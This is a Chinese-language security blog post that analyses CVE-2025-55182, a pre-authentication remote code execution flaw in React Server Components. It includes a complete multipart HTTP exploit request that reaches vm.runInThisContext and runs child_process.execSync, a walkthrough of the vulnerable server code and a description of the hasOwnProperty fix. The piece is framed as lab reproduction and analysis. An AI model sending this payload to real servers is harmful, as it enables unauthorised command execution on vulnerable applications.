React 服务器组件原型链漏洞(CVE-2025-55182)
大家好,我是小王说安全,CVE-2025-55182,刚出来的漏洞首当其冲就是dify,文章节选至"奇安信社区"的Werqy3 老师傅,文章末尾有我写的POC
CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。
漏洞描述
CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。

影响范围
影响组件:react-server-dom-webpack < 19.2.0,react-server-dom-turbopack < 19.2.0,react-server-dom-parcel
影响版本:React 19.0.0、19.1.0、19.1.1、19.2.0
环境搭建
https://github.com/ejpir/CVE-2025-55182-poc/

npm install
npm start
漏洞复现
POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--
漏洞成因
React Server Actions 通过ACTION_REF_* 和 ACTION_ID_* 两类字段实现服务端函数调用,但在 19.2.0 及之前版本中,因缺少对模块导出属性的合法性校验,攻击者可借助 $ACTION_REF_* 机制注入任意 id(如 "vm#runInThisContext"),结合 Node.js 内置模块实现远程代码执行;19.2.1 通过 hasOwnProperty 检查和强化 Action 引用机制修复此问题。

**$ACTION_REF_on 实例
用途:用于调用一个已创建并携带闭包参数的 Server Action(例如通过
action.bind(null, arg1, arg2)生成)。客户端表单行为:
提交时会生成多个 multipart 字段,例如:

其中 0 是客户端生成的“action 实例 ID”,:0是
服务端解析逻辑:
const prefix = "$ACTION_" + key.slice(12) + ":";
const boundArgs = collectAllFieldsStartingWith(prefix);
const action = decodeBoundActionMetaData(body, serverManifest, boundArgs);最终构造出一个对象:
{ id: "someModule#someFunction", bound: [] }**$ACTION_ID_***:直接模块/函数调用
用途:调用某个模块中显式导出的 Server Action 函数。
典型场景:
<form action={updatePassword}>编译后生成:
$ACTION_ID_UserActions.updatePassword = ""提取字段名 → 拆分为 moduleName = "UserActions", exportName = "updatePassword"
调用:
loadServerReference(serverManifest, "UserActions", "updatePassword");最终执行 requireModule("UserActions")["updatePassword"]
漏洞利用
攻击者构造 multipart 请求:
$ACTION_REF_0 = "1"
$ACTION_0:0 = {"id":"vm#runInThisContext","bound":["...恶意代码..."]}服务端 decodeAction 解析出:
{ id: "vm#runInThisContext", bound: [payload] }调用
loadServerReference("vm", "runInThisContext")requireModule("vm")["runInThisContext"]返回vm.runInThisContext(因无hasOwnProperty检查)执行
bound中的代码 → RCE
漏洞分析
看看下载的源码
if (req.method === 'POST' && req.url === '/formaction') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
try {
const buffer = Buffer.concat(chunks);
const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
const formData = parseMultipart(buffer, boundaryMatch[1]);
console.log('FormData:');
formData.forEach((v, k) => console.log(` ${k}: ${v}`));
// THE VULNERABLE CALL - decodeAction → loadServerReference → requireModule
// requireModule does: moduleExports[metadata[2]] without hasOwnProperty check!
const actionFn = await decodeAction(formData, serverManifest);
console.log('Action result:', actionFn, typeof actionFn);
if (typeof actionFn === 'function') {
const result = actionFn();
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true, result: String(result) }));
} else {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ success: true, action: String(actionFn) }));
}
} catch (e) {
console.error('Error:', e.message, e.stack);
res.writeHead(500, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: e.message }));
}
});
return;
}
res.writeHead(404);
res.end('Not found');
});这里处理 /formaction路由 的请求 —— 这是一个 自定义 Server Action 端点,模拟了 RSC 行为
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
const buffer = Buffer.concat(chunks);完整读取原始 HTTP 请求体
const contentType = req.headers['content-type'] || '';
const boundaryMatch = contentType.match(/boundary=(.+)/);
if (!boundaryMatch) throw new Error('No boundary');
const formData = parseMultipart(buffer, boundaryMatch[1]);解析 multipart/form-data,得到一个 Map 类型的 formData
const actionFn = await decodeAction(formData, serverManifest);遍历
formData,寻找以ACTION_REF_ 或ACTION_开头的字段;对于ACTION_REF_0,它会提取所有
ACTION_0:*字段;将
$ACTION_0:0的值(JSON 字符串)解析为对象调用
loadServerReference(serverManifest, "vm", "runInThisContext");最终进入
requireModule(metadata)
调用 requireModule,没有检查"runInThisContext" 是否是 moduleExports 的自有属性,moduleExports["runInThisContext"] 返回真实的 vm.runInThisContext 函数,此时已获得一个可在当前上下文执行任意 JS 的函数
因此 actionFn() 调用时,会执行:
vm.runInThisContext('global.process.mainModule.require("child_process").execSync("dir").toString()')漏洞修复

代码修复里面添加了hasOwnProperty 检查,只允许访问对象自身的属性
POC获取
关注公众号小王说安全,回复CVE-2025-55182,可获取相关POC。
